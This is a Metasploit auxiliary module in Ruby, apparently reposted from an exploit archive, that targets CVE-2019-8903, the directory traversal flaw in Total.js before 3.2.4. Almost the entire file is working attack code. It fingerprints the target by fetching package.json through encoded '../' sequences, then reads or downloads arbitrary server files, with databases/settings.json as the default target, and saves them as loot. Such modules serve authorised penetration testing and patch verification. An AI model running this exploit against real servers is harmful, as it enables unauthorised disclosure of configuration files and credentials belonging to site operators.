Share
## https://sploitus.com/exploit?id=PACKETSTORM:181064
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
# Check and exploit Total.js Directory Traversal (CVE-2019-8903)  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Total.js prior to 3.2.4 Directory Traversal',  
'Description' => %q(  
This module check and exploits a directory traversal vulnerability in Total.js prior to 3.2.4.  
  
Here is a list of accepted extensions: flac, jpg, jpeg, png, gif, ico, js, css, txt, xml,  
woff, woff2, otf, ttf, eot, svg, zip, rar, pdf, docx, xlsx, doc, xls, html, htm, appcache,  
manifest, map, ogv, ogg, mp4, mp3, webp, webm, swf, package, json, md, m4v, jsx, heif, heic  
),  
'Author' =>  
[  
'Riccardo Krauter', # Discovery  
'Fabio Cogno' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-8903'],  
['CWE', '22'],  
['URL', 'https://blog.totaljs.com/blogs/news/20190213-a-critical-security-fix/'],  
['URL', 'https://security.snyk.io/vuln/SNYK-JS-TOTALJS-173710']  
],  
'Privileged' => false,  
'DisclosureDate' => '2019-02-18',  
'Actions' =>  
[  
['CHECK', { 'Description' => 'Check if the target is vulnerable' }],  
['READ', { 'Description' => 'Attempt to print file content' }],  
['DOWNLOAD', { 'Description' => 'Attempt to download a file' }]  
],  
'DefaultAction' => 'CHECK'))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'Path to Total.js App installation', '/']),  
OptInt.new('DEPTH', [true, 'Traversal depth', 1]),  
OptString.new('FILE', [true, 'File to obtain', 'databases/settings.json'])  
]  
)  
end  
  
def check_ext  
extensions = %w[  
flac jpg jpeg png gif ico js css txt xml  
woff woff2 otf ttf eot svg zip rar pdf  
docx xlsx doc xls html htm appcache  
manifest map ogv ogg mp4 mp3 webp webm  
swf package json md m4v jsx heif heic  
]  
  
ext = datastore['FILE'].split('.').last  
  
unless extensions.include? ext  
print_warning "Extension #{ext} is not supported by the HTTP static route of the framework"  
end  
end  
  
def check  
uri = normalize_uri(target_uri.path) + '%2e%2e%2fpackage.json'  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri  
)  
if res && res.code == 200  
json = res.get_json_document  
if json.empty? || !json['dependencies']['total.js']  
return Exploit::CheckCode::Safe  
else  
print_status("Total.js version is: #{json['dependencies']['total.js']}")  
print_status("App name: #{json['name']}")  
print_status("App description: #{json['description']}")  
print_status("App version: #{json['version']}")  
return Exploit::CheckCode::Vulnerable  
end  
elsif res && res.headers['X-Powered-By'].to_s.downcase.include?('total.js')  
print_status('Target appear to be vulnerable!')  
print_status("X-Powered-By: #{res.headers['X-Powered-By']}")  
return Exploit::CheckCode::Detected  
else  
vprint_warning('No response')  
return Exploit::CheckCode::Unknown  
end  
end  
  
def read  
check_ext  
traverse = '%2e%2e%2f' * datastore['DEPTH']  
uri = normalize_uri(target_uri.path) + traverse + datastore['FILE']  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri  
)  
unless res  
fail_with(Failure::Unreachable, 'Connection failed')  
end  
if res.code != 200  
print_error("Unable to read '#{datastore['FILE']}', possibly because:")  
print_error("\t1. File does not exist.")  
print_error("\t2. No permission.")  
return  
end  
print_status("Getting #{datastore['FILE']}...")  
print_line(res.body)  
end  
  
def download  
check_ext  
traverse = '%2e%2e%2f' * datastore['DEPTH']  
uri = normalize_uri(target_uri.path) + traverse + datastore['FILE']  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri  
)  
unless res  
fail_with(Failure::Unreachable, 'Connection failed')  
end  
if res.code != 200  
print_error("Unable to read '#{datastore['FILE']}', possibly because:")  
print_error("\t1. File does not exist.")  
print_error("\t2. No permission.")  
return  
end  
fname = datastore['FILE'].split('/')[-1].chop  
ctype = res.headers['Content-Type'].split(';')  
loot = store_loot('lfi.data', ctype[0], rhost, res.body, fname)  
print_good("File #{fname} downloaded to: #{loot}")  
end  
  
def run  
case action.name  
when 'CHECK'  
check  
when 'READ'  
read  
when 'DOWNLOAD'  
download  
end  
end  
end